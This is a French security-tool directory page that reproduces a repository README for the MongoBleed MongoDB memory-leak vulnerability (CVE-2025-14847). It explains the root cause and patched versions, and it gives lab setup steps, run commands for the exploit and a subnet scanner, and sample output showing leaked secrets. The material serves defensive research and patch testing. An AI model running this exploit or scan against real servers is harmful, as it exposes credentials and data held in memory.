Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
mongobleed-exploit-CVE-2025-14847 — Explot, Lab, Scanner - externe et conteneur Docker, pour SMongobleed-CVE-2025-14847 plus phoenix security uploader | Kitploit
Outils/GitHubGitHub/franksec42/mongobleed-exploit-cve-2025-14847
Sécurité des ConteneursCriminalistique MémoireAnalyse des VulnérabilitésExploitationTests d'IntrusionSécurité CloudApprentissage et ÉducationSécurité des Bases de DonnéesLabs et Pratique

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHubfranksec42/mongobleed-exploit-cve-2025-14847

mongobleed-exploit-CVE-2025-14847

Explot, Lab, Scanner - externe et conteneur Docker, pour SMongobleed-CVE-2025-14847 plus phoenix security uploader

Voir le dépôt
311il y a 6 moisPas encore vérifié

🩸 MongoBleed - CVE-2025-14847 Laboratoire de Recherche en Sécurité

Logo MongoBleed

CVE-2025-14847 | CVSS 8.7 (Élevé) | Divulgation de mémoire non authentifiée


CVE-2025-14847, surnommé MongoBleed, permet à des attaquants distants non authentifiés d'exfiltrer la mémoire tas non initialisée en exploitant la logique de décompression zlib de MongoDB. Cette vulnérabilité de haute sévérité expose des artefacts sensibles, y compris des identifiants en texte clair et des jetons de session, fournissant une feuille de route pour le mouvement latéral et la prise de contrôle complète du serveur.

📖 Documentation complète →


TL;DR pour les équipes d'ingénierie

AspectDétails
Ce qui est vulnérableCouche de transport réseau du serveur MongoDB utilisant la compression zlib
SévéritéÉlevé (CVSS 8.7/7.5)
ImpactDivulgation à distance non authentifiée de mémoire tas non initialisée
Pourquoi c'est importantLes fragments divulgués contiennent des mots de passe de base de données, des clés secrètes AWS et des états internes du serveur
Statut de l'exploitPreuve de concept (PoC) publique « mongobleed » validée et en circulation
Que faire aujourd'huiMettre à niveau vers les versions corrigées immédiatement ou désactiver la compression zlib

Échelle d'exposition

  • 87 000 - 194 000 instances MongoDB exposées publiquement
  • 42 % des environnements cloud affectés (Wiz Research)
  • Aucune authentification requise – les exploits se produisent avant l'authentification

🔬 Anatomie de la vulnérabilité

Analyse technique

La vulnérabilité existe dans la couche de transport réseau de MongoDB (message_compressor_zlib.cpp) où une faille critique dans la logique de décompression zlib permet à des attaquants non authentifiés de divulguer de la mémoire sensible du serveur.

Cause racine

root@kitploit:~
// CODE VULNÉRABLE (avant correction)
counterHitDecompress(input.length(), output.length());
return {output.length()};  // ❌ Retourne la taille du tampon ALLOUÉ

// CODE CORRIGÉ (après correction)  
counterHitDecompress(input.length(), output.length());
return length;             // ✅ Retourne la LONGUEUR RÉELLE des données décompressées

Flux d'exploitation

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────────────┐
│                        Vecteur d'attaque MongoBleed                          │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                              │
│   ATTAQUANT                         MongoDB VULNÉRABLE                       │
│      │                                    │                                  │
│      │  1. Envoyer message OP_COMPRESSED  │                                  │
│      │     uncompressedSize: 8192 (MENSONGE) │
│      │     données réelles : ~100 octets   │                                  │
│      │────────────────────────────────────>                                  │
│      │                                    │                                  │
│      │                          2. Allouer un tampon de 8192 octets          │
│      │                          3. Décompresser ~100 octets                  │
│      │                          4. BOGUE : Retourner buffer.length() = 8192  │
│      │                          5. L'analyseur BSON lit la mémoire non init. │
│      │                                    │                                  │
│      │  6. Réponse d'erreur avec mémoire   │                                  │
│      │     divulguée comme « noms de champs »│                               │
│      │<────────────────────────────────────                                  │
│      │                                    │                                  │
│   🔓 DONNÉES DIVULGUÉES :               │                                  │
│      - Clés API, mots de passe, jetons                                          │
│      - État interne MongoDB                                                │
│      - Configurations de stockage WiredTiger                                            │
│      - Informations système /proc                                              │
│      - Données de connexion client                                              │
│                                                                              │
└─────────────────────────────────────────────────────────────────────────────┘

Versions affectées

Chronologie de la découverte

DateÉvénement
15 déc. 2025Vulnérabilité identifiée ; ticket interne SERVER-115508

📁 Structure du projet

root@kitploit:~
mongobleed-exploit-CVE-2025-14847/
├── exploit/                    # 🔴 Laboratoire d'exploitation
│   ├── docker-compose.yml      # Instances MongoDB vulnérables + corrigées
│   ├── mongobleed.py           # PoC d'exploitation de fuite mémoire
│   ├── init/init-mongo.js      # Données de test sensibles
│   ├── test-exploit.sh         # Script de test du laboratoire
│   └── README.md               # Documentation du laboratoire
│
├── scanner/                    # 🌐 Scanner réseau
│   ├── mongobleed_scanner.py   # Scanner de vulnérabilité IP/domaine
│   ├── sample-targets.txt      # Fichier d'exemple de cibles
│   └── README.md               # Documentation du scanner
│
├── code-scan/                  # 📂 Scanner de code
│   ├── main.py                 # Point d'entrée CLI
│   ├── scanners/               # Scanners Docker, Python, Infrastructure
│   ├── models/                 # Modèles de constatations, de vulnérabilités
│   ├── integrations/           # Envoi vers Phoenix Security
│   └── README.md               # Documentation du scanner de code
│
└── original-exploit/           # 📚 Référence PoC originale

🚀 Démarrage rapide

1. Laboratoire d'exploitation

root@kitploit:~
cd exploit

# Démarrer le laboratoire (instances vulnérable + corrigée)
docker-compose up -d
sleep 10

# Tester l'instance vulnérable (devrait fuir de la mémoire)
python3 mongobleed.py --host localhost --port 27017

# Tester l'instance corrigée (NE DEVRAIT PAS fuir de mémoire)
python3 mongobleed.py --host localhost --port 27018

# Test complet du laboratoire
./test-exploit.sh

2. Scanner réseau

root@kitploit:~
cd scanner

# Scanner un seul hôte
python3 mongobleed_scanner.py 192.168.1.100

# Scanner une plage réseau
python3 mongobleed_scanner.py 192.168.1.0/24

# Scanner depuis un fichier
python3 mongobleed_scanner.py @sample-targets.txt --json --output results.json

3. Scanner de code

root@kitploit:~
cd code-scan

# Scanner un projet pour trouver des versions MongoDB vulnérables
python3 main.py scan /path/to/project

# Scanner et envoyer vers Phoenix
python3 main.py scan /path/to/project --upload-phoenix

# Exécuter les tests
python3 main.py test

⚡ Commandes rapides

root@kitploit:~
# === LABORATOIRE D'EXPLOITATION ===
# Démarrer le laboratoire
cd exploit && docker-compose up -d && sleep 10

# Exécuter l'exploit (instance vulnérable)
python3 exploit/mongobleed.py --host localhost --port 27017

# Exécuter l'exploit (instance corrigée - vérifier l'absence de fuites)
python3 exploit/mongobleed.py --host localhost --port 27018

# === SCANNER RÉSEAU ===
# Scanner le laboratoire local
python3 scanner/mongobleed_scanner.py localhost:27017 localhost:27018

# Scanner un réseau
python3 scanner/mongobleed_scanner.py 192.168.1.0/24 --threads 20

# === SCANNER DE CODE ===
# Scanner le répertoire courant
python3 code-scan/main.py scan .

# Scanner avec sortie JSON
python3 code-scan/main.py scan /path/to/project --json --output results.json

# Scanner et envoyer vers Phoenix
python3 code-scan/main.py scan /path/to/project --upload-phoenix

📊 Exemples de sortie

Sortie de l'exploit

root@kitploit:~
[*] mongobleed - CVE-2025-14847 Fuite mémoire MongoDB
[*] Cible : localhost:27017
[*] Analyse des décalages 20-8192...

[+] decalage=  117 long=  39: ssions^\u0001�r��*YDr���
[+] decalage=16582 long=1552: MemAvailable:    8554792 kB\nBuffers: ...
[+] decalage=18731 long=3908: MONGOBLEED_PRIVATE_KEY_DATA_123...

[!] LA CIBLE EST VULNÉRABLE À CVE-2025-14847
[*] Total divulgué : 8748 octets
[*] Fragments uniques : 42

[!] Secrets potentiels détectés :
    • Clé privée RSA
    • Secret du laboratoire

Sortie du scanner réseau

root@kitploit:~
[*] Analyse de 254 cibles avec 10 threads...

[1/254] 192.168.1.10:27017 - 8.2.2 [VULNÉRABLE - CONFIRMÉ]
[2/254] 192.168.1.11:27017 - 8.2.3 [SÛR]

RÉSUMÉ :
----------------------------------------
Total des cibles analysées : 254
Hôtes accessibles :       12
Instances MongoDB :     8
VULNÉRABLES :            3

Sortie du scanner de code

root@kitploit:~
================================================================================
RAPPORT DU SCANNEUR DE CODE MONGOBLEED - CVE-2025-14847
================================================================================

🚨 VERSIONS MONGODB VULNÉRABLES DÉTECTÉES

1. [email protected]
   Fichier : /project/docker-compose.yml
   Type : docker-compose
   Raison : Version 8.2.2 dans la plage vulnérable [8.2.0 - 8.2.2]
   ✅ Mettre à niveau vers : 8.2.3
   CVE : CVE-2025-14847

🔗 Intégration Phoenix Security

Tous les scanners prennent en charge l'envoi des constatations vers la plateforme Phoenix Security :

root@kitploit:~
# Créer la configuration
python3 code-scan/main.py create-config
cp .phoenix.config.TEMPLATE .phoenix.config

# Modifier avec vos identifiants
# [phoenix]
# client_id = votre_client_id
# client_secret = votre_client_secret
# api_base_url = https://api.securityphoenix.cloud

# Scanner et envoyer
python3 code-scan/main.py scan /path/to/project --upload-phoenix

🔐 Avis de sécurité

⚠️ IMPORTANT : Cette trousse à outils est fournie uniquement à des fins de tests de sécurité autorisés et de recherche.

  • Testez uniquement les systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite
  • L'accès non autorisé aux systèmes informatiques est illégal
  • Les données divulguées peuvent contenir des informations sensibles - gérez-les de manière responsable
  • Signalez les vulnérabilités via les canaux de divulgation appropriés

📚 Documentation

🔗 Références externes

  • Avis de sécurité OX
  • Commit de correction MongoDB
  • Entrée NVD - CVE-2025-14847

👤 Crédits

  • Exploit original par Joe Desimone (@dez_)
  • Environnement de laboratoire et améliorations du scanner pour la recherche en sécurité

📄 Licence

Pour les tests de sécurité autorisés uniquement. Utiliser de manière responsable.


Dernière mise à jour : Décembre 2025

Télécharger l’outil
VersionPlage vulnérableVersion corrigéeStatut
8.2.x8.2.0 - 8.2.28.2.3✅ Corrigée
8.0.x8.0.0 - 8.0.168.0.17✅ Corrigée
7.0.x7.0.0 - 7.0.277.0.28✅ Corrigée
6.0.x6.0.0 - 6.0.266.0.27✅ Corrigée
5.0.x5.0.0 - 5.0.315.0.32✅ Corrigée
4.4.x4.4.0 - 4.4.294.4.30✅ Corrigée
4.2.xToutes les versionsAucune⚠️ Fin de vie
4.0.xToutes les versionsAucune⚠️ Fin de vie
3.6.xToutes les versionsAucune⚠️ Fin de vie
19 déc. 2025
Correction publiée, CVE-2025-14847 divulguée
24 déc. 2025Flotte MongoDB Atlas corrigée
26 déc. 2025PoC publique « mongobleed » publiée
28 déc. 2025Exploitation observée dans la nature
DocumentDescription
DOCUMENTATION.mdDocumentation complète du projet
TECHNICAL_ANALYSIS.mdAnalyse approfondie de la vulnérabilité
QUICK_COMMANDS.mdCommandes prêtes à copier-coller
exploit/README.mdDocumentation du laboratoire d'exploitation
scanner/README.mdDocumentation du scanner réseau
code-scan/README.mdDocumentation du scanner de code